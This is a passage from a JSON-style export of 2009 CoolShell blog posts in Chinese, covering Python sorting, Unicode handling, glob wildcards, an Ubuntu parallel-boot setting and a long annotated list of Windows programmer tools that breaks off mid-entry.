    "content": "---\nlayout: post\ntitle: Python中实现多属性排序\ndate: 2009/4/12/ 1:33:43\nupdated: 2009/4/12/ 1:33:43\nstatus: publish\npublished: true\ntype: post\n---\n\n我们有一组记录:\n\n\n\n```\nlist_records =\n(\n (department, name, salary),\n (department, name, salary),\n ...\n (department, name, salary)\n)\n```\n\n然后我们想进行类似 MS – Excel 里的 “then sort by” 中的功能一样先基于department排序，然后再在部门内按照salary排序。\n\n\n其他编程语言可能相对复杂，我这里写出一个用Python实现的最简方法（也许有比这个还短的，来挑战吧）\n\n\n\n\n```\nlist_records.sort(\n key = lambda l: (l[0], l[2])\n)\n```\n\n这个就是函数是编程的好处，可以无中生有的构造出一个没有名字的inline函数。假设我们有另外一个dictionary\\_age 是保存的 { name: ages }， 我们还可以简单的实现基于外部属性进行排序。例如，如果我们想先按照部门排序，然后在部门里按照年龄排序，我们可以写：\n\n\n\n```\nlist_record.sort(\n key = lambda l:( l[0], dictionary_age(l[1]) )\n)\n```\n\n如果需要降序排列，可以设置 revserse = True; 如果想基于两个属性，一个升序，一个降序，可以试试将其中一个构造一个外部规则，然后如同上例子中的dictionary\\_age一样传递进去。\n\n\nDone!\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [Python中实现多属性排序](https://coolshell.cn/articles/435.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-12 Python处理中文的时候的一些小技巧.md",
    "content": "---\nlayout: post\ntitle: Python处理中文的时候的一些小技巧\ndate: 2009/4/12/ 10:19:4\nupdated: 2009/4/12/ 10:19:4\nstatus: publish\npublished: true\ntype: post\n---\n\n相信第一次处理中文的朋友们可能都会对中文的encoding 和程序的报错很头疼。\n\n\n如果你像我一样希望能够把事情尽快做好而不去深究，你可能会写一些异常处理的代码把 UnicodeEncodingError糊弄过去先，但当你开始怀疑有多少encoding出错的信息被你丢弃的时候，可能你会很惊奇。于是，你还是会想坐下来，（洗把脸）然后面对自己必须弄懂什么是utf-8，什么是 ‘gb2312’， 什么是 ‘gbk’ 和其中的猫腻。正如有时候猛撕小伤口上邦迪胶布的快感一样，有时候当你认真面对一些你平时一直回避的问题的时候（其实有时候需要的不是勇气）， 你反而会觉得“不过如此”，并且能够一劳永逸的解决问题。\n\n\n关于Python处理Unicode，我所能找到的最言简意赅的入门教程是：\n\n\n### [**Unicode* In *Python*, Completely Demystified* （揭秘Python Unicode）](http://farmdev.com/talks/unicode/)\n\n\n简要罗列一下最重要最实用的点：\n\n\n\nSolution\n\n\n1. **Decode early** （尽早decode, 将文件中的内容转化成 unicode 再进行下一步处理)\n2. **Unicode everywhere** (程序内部处理都用unicode)\n3. **Encode late** (最后encode回所需的encoding, 例如把最终结果写进结果文件)\n\n\n**1. Decode early**\n\n\n\n> Decode to <type ‘unicode’> ASAP\n> \n> \n> >>> def to\\_unicode\\_or\\_bust(\n> \n> \n> …         obj, encoding=’utf-8′):\n> \n> \n> …     if isinstance(obj, basestring):\n> \n> \n> …         if not isinstance(obj, unicode):\n> \n> \n> …             obj = unicode(obj, encoding)\n> \n> \n> …     return obj\n> \n> \n> …\n> \n> \n> >>>\n> \n> \n> detects if object is a string and if so converts to unicode, if not already.\n> \n> \n\n\n**2. Unicode everywhere**\n\n\n\n> >>> to\\_unicode\\_or\\_bust(ivan\\_uni)\n> \n> \n> u’Ivan Krsti\\u0107′\n> \n> \n> >>> to\\_unicode\\_or\\_bust(ivan\\_utf8)\n> \n> \n> u’Ivan Krsti\\u0107′\n> \n> \n> >>> to\\_unicode\\_or\\_bust(1234)\n> \n> \n> 1234\n> \n> \n\n\n**3. Encode late**\n\n\n\n> Encode to <type ‘str’> when you write to disk or print\n> \n> \n> >>> f = open(‘/tmp/ivan\\_out.txt’,’w’)\n> \n> \n> >>> f.write(ivan\\_uni.encode(‘utf-8’))\n> \n> \n> >>> f.close()\n> \n> \n\n\n我以前一直觉得unicode相关的处理都是很 dirty 的工作，一般都会一边尝试，一边用异常处理去补丁，看完以上这个教程以后豁然开朗。\n\n\n祝大家也能早日理清处理中文的时候的头绪，坦然直面“神秘”的unicode\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [Python处理中文的时候的一些小技巧](https://coolshell.cn/articles/461.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-12 Python脚本如何对文件通配符匹配.md",
    "content": "---\nlayout: post\ntitle: Python脚本如何对文件通配符匹配\ndate: 2009/4/12/ 6:50:26\nupdated: 2009/4/12/ 6:50:26\nstatus: publish\npublished: true\ntype: post\n---\n\n有时候，我们可能会写一些轻量级的脚本去处理很多符合某种pattern的文件，例如“某目录下的 \\*logfile.csv” 但是，我们大多数脚本的参数都是 sys.argv, 如何解析 wildcard 匹配呢？\n\n\n#### test.py\n\n\n\n```\n from glob import glob\n...\nif __name__ == \"__main__\":\n    file_names = glob(sys.argv[1])\n    for file_name in file_names:\n        do_something(file) \n```\n\n这样就可以像使用其他终端命令一样使用脚本test.py 进行wildcard匹配了\n\n\n#### >> test.py ./\\*logfile.csv\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [Python脚本如何对文件通配符匹配](https://coolshell.cn/articles/444.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-13 Ubuntu的并行启动.md",
    "content": "---\nlayout: post\ntitle: Ubuntu的并行启动\ndate: 2009/4/13/ 3:8:3\nupdated: 2009/4/13/ 3:8:3\nstatus: publish\npublished: true\ntype: post\n---\n\n如果你在使用多核处理器，那么你可以配置Ubuntu的一个参数来使用Ubuntu的启动并行，以加快其启动速度。\n\n\n这个参数在文件*/etc/init.d/rc*中，其参数名是CONCURRENCY默认值是none，你可以把这个参数改成如下所示。于是，你就开启了Ubuntu的并行启动的功能。\n\n\nCONCURRENCY=shell\n\n\n但是，这个参数会导致dbus, hal和gdm的产生“race condition”竞争条件，所以，这三个程序的启动顺序非常的关键。其必需保证这个顺序：dbus -> hal -> gdm。这个顺序在Ubuntu的Hardy，Intrepid 或Jaunty中是没有问题的。但是，我们不排除在别的版本中会有问题。\n\n\n\n所以，在开启“并行启动”时，你需要去检查一下dbus，hal和gdm的启动顺序，其启动顺序你可以在*/etc/rc2.d/*目录下，查看一个这三个程序的S后面的编号顺序。如果你看到下面的这个顺序，那么你就需要做出调整了。\n\n\ns12dbus  \n\ns13gdm  \n\ns24hal\n\n\n调整也很简单，就是改一下S后面的数字就行了，如下所示：\n\n\nmv s24hal s13hal  \n\nmv s13gdm s14gdm\n\n\n关于更多详细的情况，请查看这个[BUG报告](https://bugs.launchpad.net/ubuntu/+source/hal/+bug/149881) 。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![GNU/Linux下有多少是GNU的？](../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png)](https://coolshell.cn/articles/4826.html)[GNU/Linux下有多少是GNU的？](https://coolshell.cn/articles/4826.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1097.html)[Ksplice Uptrack — Ubuntu更新不用重启](https://coolshell.cn/articles/1097.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [Ubuntu的并行启动](https://coolshell.cn/articles/501.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-13 Windows下和程序员相关小工具.md",
    "content": "---\nlayout: post\ntitle: Windows下和程序员相关小工具\ndate: 2009/4/13/ 13:47:47\nupdated: 2009/4/13/ 13:47:47\nstatus: publish\npublished: true\ntype: post\n---\n\n[1 HOUR SOFTWARE](http://www.donationcoder.com/Software/Skrommel/index.html) – 很多的小工具集\n\n\n[.NET Memory Profiler](http://memprofiler.com/) – 可以找出.NET程序中的内存泄露问题，并找出可优化的内存。\n\n\n[.NET Reflector](http://www.aisto.com/roeder/dotnet/) – 查看，导航，搜索.NET汇编中的类的继承关系。\n\n\n[Active Webcam](http://www.pysoft.com/ActiveWebCamMainpage.htm) – Webcam 视频监视软件。\n\n\n[ArsClip](http://www.joejoesoft.com/cms/showpage.php?cid=97) – 剪贴版管理程序，可以跟踪每次剪贴版中的内容，并可以通过设置热键，取出粘贴其中的内容。\n\n\n[ASP2ASPX](http://www.netcoole.com/asp2aspx.htm) – 转换ASP 程序页到ASP.NET\n\n\n[AutoHotKey](http://www.autohotkey.com/) – 自动点击键盘和鼠标。\n\n\n\n[Awave Studio](http://www.fmjsoft.com/awframe.html) – 几乎是所有的音频格式的转换程序。\n\n\n[Batch files](http://www.bookcase.com/library/software/msdos.util.batch.html) – 想要不同功能的bat文件吗？这个站点集成了很多功能强大的bat文件。\n\n\n[BartPE](http://www.nu2.nu/pebuilder/) – 制作一张可以启动的Windows CD/DVD\n\n\n[Beyond Compare](http://www.scootersoftware.com/) – 快速容易地比较和合并本地，远程或FTP服务器上的文件和目录。\n\n\n[BitPim](http://www.bitpim.org/) – 可以查看并操作绝大多数的 CDMA 手机\n\n\n[Bullzip PDF Printer](http://www.bullzip.com/products/pdf/info.php) – PDF文件打印机程序。\n\n\n[Cain & Abel](http://www.oxid.it/cain.html) – 口令恢复工具。（可以用作正常和不正常的情况）\n\n\n[Camtasia Studio](http://www.techsmith.com/camtasia.asp) – 屏幕录像工具。\n\n\n[C# Programming Tools](http://msdn2.microsoft.com/en-us/vcsharp/aa336818.aspx) – C# 开发工具\n\n\n[CCleaner](http://www.ccleaner.com/) – 系统优化，隐私和清理工具。\n\n\n[Cisco VPN Clients](http://ftp.uma.es/ClientesVPN/?C=M;O=A) – Cisco VPN客户端。\n\n\n[Clone Detective](http://clonedetectivevs.codeplex.com/) – 这是一个集成到Visual Studio 中，允许你分析自己的C# projects 中是否有重复的代码，以便你重构你的代码。\n\n\n[CodeSmith](http://www.codesmithtools.com/) – 代码生成器，可惜是收费的。\n\n\n[Commit Monitor](http://tools.tortoisesvn.net/CommitMonitor) – 一个任务栏中的小监视器，当 subversion 的源代码被别人更新过了，他可以通知你。\n\n\n[Consolas Font Pack](http://www.microsoft.com/downloads/details.aspx?familyid=22e69ae4-7e40-4807-8a86-b3d36fab68d3&displaylang=en) – 终级的程序字体。（VS2005）\n\n\n[CurrPorts](http://www.nirsoft.net/utils/cports.html) – 把所有打开的 TCP/IP 和UDP 端口都列出来。\n\n\n[DAEMON Tools Lite](http://www.daemon-tools.cc/dtcc/download.php?mode=ViewCategory&catid=5) – 大名鼎鼎的超轻量级的虚拟光驱程序。\n\n\n[DialAFix](http://wiki.lunarsoft.net/wiki/Dial-a-fix) – 可以修复很多不同的Windows 问题的小工具。\n\n\n[DiskAction](http://www.pcmag.com/article2/0,2817,1944519,00.asp) – 查看目前的进程是怎么在存取你的硬盘的。\n\n\n[DoubleKiller](http://www.bigbangenterprises.de/en/doublekiller) – 查找相同的文件，并保留其中的一份。\n\n\n[Doxygen](http://www.stack.nl/~dimitri/doxygen/) – 一个通过程序注释创建程序文档的工具，非常有用。\n\n\n[DriverMax](http://www.innovative-sol.com/drivermax/) – 导出所有驱动器的数据到一个目录或一个压缩文件中。\n\n\n[Debug Inspector](http://www.debuginspector.com/index.htm) – 在多线程中，可以同时看到各个线程的函数调用栈。并可以检测死锁。\n\n\n[EAC](http://www.exactaudiocopy.de/) – 从CD或DVD中捕捉音视的程序。\n\n\n[Eraser](http://www.heidi.ie/node/14) – 彻底地删文件，删除文件后，在原来分配给文件的硬盘上写上一些随机的字符。\n\n\n[EVEREST](http://www.lavalys.com/) – PC 诊断和benchmark的工具。\n\n\n[Fiddler](http://www.fiddlertool.com/fiddler/version.asp) – Web 调试代理。\n\n\n[FILEACL](http://www.gbordier.com/) – NTFS 权限管理工具。\n\n\n[FileMenu Tools](http://www.lopesoft.com/en/fmtools/info.html) – Explorer 的右键菜单管理工具。\n\n\n[FileZilla](http://filezilla-project.org/) – 鼎鼎大名的FTP/FTPS/SFTP 客户端。\n\n\n[FireBug](http://addons.mozilla.org/en-US/firefox/addon/1843/) – 在Firefox中调试JavaScript。\n\n\n[FireFTP](http://fireftp.mozdev.org/) – Firefox的FTP 客户端。\n\n\n[Fortres 101](http://www.fortresgrand.com/products/f101/f101.htm) – 桌面安全软件。\n\n\n[FSUM](http://www.slavasoft.com/fsum/) – 一个验证文件完整性的命令行工具。\n\n\n[FxCop](http://www.microsoft.com/downloads/details.aspx?FamilyID=9aeaa970-f281-4fb0-aba1-d59d7ed09772&DisplayLang=en) – .NET 源码分析工具。\n\n\n[GetRight](http://getright.com/) – 一个非常优秀的下载管理器。\n\n\n[Hamachi](https://secure.logmein.com/products/hamachi/vpn.asp) – 可以提供一个VPN 服务。设置起来非常简单，只需要10分钟，然后你就可以通过internet连入你的公司或家里了。\n\n\n[hMailServer](http://www.hmailserver.com/) – 免费的邮件服务器。\n\n\n[HTTP Analyzer](http://www.ieinspector.com/httpanalyzer/) – 实时监控，跟踪，调试，并分析 HTTP/HTTPS 的访问。\n\n\n[httpZip](http://www.port80software.com/products/httpzip/) – 基于IIS 4, 5, 和6.0 的ISAPI。\n\n\n[IIS 6.0 Resource Kit Tools](http://www.microsoft.com/downloads/details.aspx?familyid=56FC92EE-A71A-4C73-B628-ADE629C89499&displaylang=en) – 帮助你设置，保护和管理IIS。\n\n\n[IIsAdmin.NET](http://www.codeplex.com/iisadmin) – 创建多个IIS站点的定义。\n\n\n[Internet Explorer 7 Blocker](http://www.microsoft.com/downloads/details.aspx?FamilyId=4516A6F7-5D44-482B-9DBD-869B4A90159C) – 阻止IE7 被安装。（奇怪的工具）\n\n\n[ImTOO MPEG Encoder](http://www.imtoo.com/mpeg-encoder.html) – 视频格式转换。\n\n\n[InstallPad](http://installpad.com/) – 让你的程序运行地更快一些。\n\n\n[Instant C#](http://tangiblesoftwaresolutions.com/) – 把 VB.NET程序 转成C#程序\n\n\n[JavaRa](http://sourceforge.net/project/downloading.php?groupname=javara&filename=JavaRa.zip&use_mirror=osdn) – 删除好的没有用的Java版本。\n\n\n[Jaxe](http://jaxe.sourceforge.net/) – 一个免费的 XML 编辑器，并支持 XPath 搜索。\n\n\n[JKDefrag](http://www.kessels.com/JkDefrag/) – 一个很不错的磁盘碎片整理优化程序。\n\n\n[Junction Link Magic](http://www.rekenwonder.com/linkmagic.htm) – 创建 junction points（比如我的文档，网上邻居这类的目录）\n\n\n[jZip](http://www.jzip.com/) – 创建，解压，压缩Zip, TAR, GZip 和7-Zip文件，只能解压 RAR 和ISO文件。\n\n\n[Launchy](http://www.launchy.net/) – 在你的开始菜单中创建文件，工程，目录和收藏夹等东西。\n\n\n[Leaf Networks](http://www.leafnetworks.net/) – 创建你自己私有的网络。\n\n\n[LINQPad](http://www.linqpad.net/) – 一个小工具可以和 SQL databases,，XML data 和object collections 交互。\n\n\n[MacDrive](http://www.mediafour.com/macdrive) – 在Windows下挂载OS-X HFS/HFS+ 文件系统。\n\n\n[MagicISO](http://www.magiciso.com/) – 一个强大的 CD/DVD 映像文件 创建/编辑/提取工具。\n\n\n[MBSA](http://technet.microsoft.com/en-us/security/cc184924.aspx) – 帮你校对并比对你系统目前的系统安全是否是微软推荐的。\n\n\n[Microsoft Log Parser](http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07&displaylang=en) – 可以读取基于文本的log files，XML 文件或CSV 文件，这些文件一般都是Windows操作系统中各种工具的日志文件，比如事件日志，注册表，性能监视器和活动目录。\n\n\n[Microsoft PowerShell 2](http://www.microsoft.com/downloads/details.aspx?FamilyID=7c8051c2-9bfc-4c81-859d-0864979fa403&displaylang=en) – Microsoft下一代的命令行shell\n\n\n[Microsoft RoboCopy](http://en.wikipedia.org/wiki/Robocopy) – 强大的文件拷贝。\n\n\n[Microsoft SQL Server Database Publishing Wizard 1.1](http://www.microsoft.com/downloads/details.aspx?FamilyId=56E5B1C5-BF17-42E0-A410-371A838E570A&displaylang=en) – 把SQL  Sever数据库变成T-SQL 脚本。\n\n\n[Microsoft SUA for UNIX-based Applications](http://www.microsoft.com/windowsserver2008/en/us/support-unix.aspx) – 和UNIX 互通的组件。\n\n\n[Mono/GTK#/Moonlight](http://www.mono-project.com/Start) – Linux下的.NET, ASP.NET 和 Silverlight\n\n\n[Microsoft Virtual CD-ROM Control Panel](http://download.microsoft.com/download/7/b/6/7b6abd84-7841-4978-96f5-bd58df02efa2/winxpvirtualcdcontrolpanel_21.exe) – ISO 文件虚拟光驱。\n\n\n[Microsoft XML Notepad 2007](http://www.microsoft.com/downloads/details.aspx?familyid=72d6aa49-787d-4118-ba5f-4f30fe913628&displaylang=en) –  XML 文件编辑器。\n\n\n[MyGeneration](http://www.mygenerationsoftware.com/portal/default.aspx) – 代码生成器。\n\n\n[NAT32 IP Router](http://www.nat32.com/) – 一个外网内网IP转换程序。\n\n\n[NetShare Manager](http://www.pcmag.com/article2/0,2817,2122550,00.asp) – 组织并控制不同网络的网络共享。\n\n\n[NetStumbler](http://www.netstumbler.com/) – 网络抓包程序，用于Wi-Fi 网络。\n\n\n[NetTools](http://users.pandora.be/ahmadi/nettools.htm) – 一个全面的主机监控，网络扫描，安全，管理工具。可能还更多。\n\n\n[NirTools](http://www.nirsoft.net/utils/index.html) – 一个Windows 工具集。\n\n\n[NOD32](http://www.joejoesoft.com/cms/showpage.php?cid=97) – 号称是目前最好的防病毒软件。\n\n\n[NT Toolkit](http://www.netikus.net/products_nttoolkit.html) – 一系例小巧而实用为了网络管理而设计的工具。\n\n\n[NTP](http://www.meinberg.de/english/sw/ntp.htm) – Windows的网络时间服务程序。\n\n\n[Object Desktop](http://www.stardock.com/products/odnt/) – 让Windows看起来就是你想要的。\n\n\n[OpenVPN](http://openvpn.net/) – 全功能的开源 SSL VPN 解决方案。支持远程访问， site-to-site VPNs, Wi-Fi 安全，和企业级的解决方案——比如负载平衡，权限策略等\n\n\n[Osiris Host Integrity Monitoring](http://osiris.shmoo.com/) – 一个主机监控程序。其可以监控一台或多台主机是否发生了改变，其维护了一个非常细的日志来记录了文件系统，用户，内核模块的改变，以及更多的东西。\n\n\n[OSSIM](http://www.ossim.net/) – 全称是Open Source Security Information Management，一个提供了全面的工具，这些小工具在一起工作，可让你看到所有主机的网络/物理资源的使用情况。\n\n\n[Paint.NET](http://www.getpaint.net/) – 一个免费的很简单的图片编辑器。\n\n\n[PowerGREP](http://www.powergrep.com/) – Windows 下的grep 工具，不但支持文本文件，还支持，二进制文件，压缩文件，WORD文件，EXCEL电子表格，PDF文件等等。（关于grep，这是一个Unix下的扫描文件内容或标准输出，并找到匹配字符串的程序）\n\n\n[PowerLocker](http://www.powerlocker.com/index_files/PowerLockerPro.htm) – 提供了一个快速简单的方式让你锁住你的PowerShell scripts\n\n\n[PureText](http://www.stevemiller.net/puretext/) – 任务栏小图标可以移除剪贴板里的文本格式。\n\n\n[PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/) – 这个不用多说了，鼎鼎大名的免费的Telnet 和SSH客户端程序。\n\n\n[RegExBuddy](http://www.regexbuddy.com/) – 一个容易创建正规表达式的工具。即简单，也复杂。\n\n\n[Regulator](http://sourceforge.net/projects/regulator/) – 高级的正则表达式测试工具。并有语法高亮显示和web-service 集成以读取Regexlib.com的在线正则表达式。\n\n\n[ReSharper](http://www.jetbrains.com/resharper/) – 完全集成于Visual Studio，实时的错误高亮，代码提示，以及单元测试工具。一供有超过30 个高级的代码重构方案，多个代码导航和收搜工具，自动代码生成，和代码模板生成，以及其它更多的功能以配合C#, VB.NET, ASP.NET, XML, 和XAML使用。\n\n\n[Revo Uninstaller](http://www.revouninstaller.com/) – 反安装，删除程序。以解决反安装中的问题。\n\n\n[RoboForm](http://www.roboform.com/) – 口令管理，网页表单填写。\n\n\n[SDC Tasks Library](http://www.codeplex.com/sdctasks) – 超过300 MSBuild 任务。\n\n\n[SOS](http://blogs.msdn.com/delay/archive/2009/03/11/where-s-your-leak-at-using-windbg-sos-and-gcroot-to-diagnose-a-net-memory-leak.aspx) – WinDbg 扩展，可以让WPF 和Silverlight 程序员使用。\n\n\n[System Information for Windows](http://www.gtopala.com/) – 收集系统属性和配置的细节信息。并用一种极端的完整的方式显示出来。\n\n\n[SpywareBlaster](http://www.javacoolsoftware.com/spywareblaster.html) – 阻止你的IE中了基于ActiveX的间谍软件，广告软件，以及流氓软件，或是其它你不想要的软件。\n\n\n[SmartSniff](http://www.nirsoft.net/utils/smsniff.html) – TCP/IP 抓包程序。\n\n\n[SnagIt](http://www.techsmith.com/) – 强大的抓屏程序。\n\n\n[subversion](http://subversion.tigris.org/) – 鼎鼎大名的代码版本控制软件。\n\n\n[SQL Digger](http://sqldigger.bdsweb.be/) – SQL存过，视图等关键字搜索工具。\n\n\n[SQLTac](http://www.cabercomputing.com/Products-SqlTac.aspx) – 强大的协助你管理你的Domain Knowledge工具。\n\n\n[SQLTools](http://www.sqltools.net/) – 免费的Oracle PL/SQL 编辑器。\n\n\n[SQLyog](http://www.sqlyog.com/) – 免费的MySQL 编辑器。\n\n\n[StyleCop](http://code.msdn.microsoft.com/sourceanalysis) – 分析C# 源代码，以保成代码风格的一致性。\n\n\n[SuperAntiSpyware](http://www.superantispyware.com/) – 最牛的反间谍软件扫描器。\n\n\n[SyncBackPro](http://www.2brightsparks.com/syncback/sbpro.html) – 实时加密，版本备份和同步。\n\n\n[synergy2](http://synergy2.sourceforge.net/) – 让一个鼠标键盘共享给多个电脑使用。\n\n\n[SysInternals Suite Live](http://live.sysinternals.com/) – 一个超强的NETBIOS 版本的SysInternals Suite\n\n\n[Sysinternals Suite](http://technet.microsoft.com/en-us/sysinternals/0e18b180-9b7a-4c49-8120-c47c5a693683.aspx) – 一级超强的高兴系统工具和技术信息。\n\n\n[SystemRescueCD](http://www.sysresccd.org/) – 可启动的 Linux CD \n\n\n[Take Command](http://jpsoft.com/) – 最好的图形Shell。\n\n\n[TaskPower](http://www.pcmag.com/article2/0,2817,2253746,00.asp) – 查看并分析进程的运行。\n\n\n[TeamCity](http://www.jetbrains.com/teamcity) – 惊艳的持续综合包。\n\n\n[TestDisk](http://www.cgsecurity.org/wiki/TestDisk) – 恢复丢失的分区。\n\n\n[ThreatFire](http://www.threatfire.com/) – 实时的行为分析和间谍软件检测软件。\n\n\n[TreeSize Free](http://www.jam-software.com/software.html) – 告诉你为什么宝贵的磁盘空间到哪里去了。\n\n\n[Trillian](http://www.ceruleanstudios.com/) – 多人网络聊天工具。\n\n\n[TrueCrypt](http://www.truecrypt.org/) – 免费的开源的磁盘加密软件，可用于Windows Vista/XP, Mac OS X, 和Linux\n\n\n[Tunnelier](http://www.bitvise.com/tunnelier) – SSH 和SFTP 客户端。\n\n\n[TweakUI](http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx) – 可以修正一些惹人烦的关于Windows UI的小软件。\n\n\n[UltraEdit](http://www.ultraedit.com/) – Text, hex, HTML, PHP, Java, Javascript, Perl, 等等，一个强大的编辑器。\n\n\n[UltraMon](http://www.realtimesoft.com/ultramon/) – 多显示器工具。\n\n\n[Undelete Plus](http://www.undelete-plus.com/) – 恢复被删除的文件。\n\n\n[Unlocker](http://ccollomb.free.fr/unlocker/) – 有些时候，一些文件被一些进程占着我们无法删除，这个程序就是把这些被锁住的文件解锁。\n\n\n[Unstoppable Copier](http://www.roadkil.net/program.php?ProgramID=29) – 恢复被物理损坏的硬盘上的文件。允许你从一些坏磁道上把文件备份下来。\n\n\n[uTorrent](http://www.utorrent.com/) – BitTorrent 客户端。\n\n\n[Vista 64-bit Codecs](http://shark007.net/) – Windows Vista 64-bit下的音频和视频解码器。\n\n\n[VisualSVN](http://www.visualsvn.com/) – 为了Microsoft Visual Studio开发的专业的Subversion 集成程序\n\n\n[VirtuaWin](http://virtuawin.sourceforge.net/) – 虚拟桌面。\n\n\n[VLC Media Player](http://www.videolan.org/vlc/) – 免费的音频和视频播放器。\n\n\n[vLite](http://www.vlite.net/) – 一个可以定制Windows Vista 安装的小工具。\n\n\n[VMware Server](http://www.vmware.com/download/server/) – 在一台机器上运行多个操作系统。\n\n\n[Weblog Expert](http://www.weblogexpert.com/) – 快速和强大的网站访问log 分析和报告。\n\n\n[WinDbg](http://www.microsoft.com/whdc/devtools/debugging/default.mspx) – 低层的Windows程序调试工具。\n\n\n[WinHTTrack](http://www.httrack.com/) – 网页拷贝。\n\n\n[Windows NT 4.0 Resource Kit](http://www.microsoft.com/downloads/details.aspx?FamilyID=3E972E9A-E08A-49A2-9D3A-C0519479E85A&displaylang=en) – 老了但可能还是有用的Windows NT 4.0 工具\n\n\n[Windows 2000 Resource Kit](http://support.microsoft.com/kb/927229) – Windows 2000 工具集\n\n\n[Windows 2003 Resource Kit](http://www.microsoft.com/downloads/details.aspx?familyid=9D467A69-57FF-4AE7-96EE-B18C4790CFFD&displaylang=en) – Windows 2003 工具集\n\n\n[Windows 2003 Support 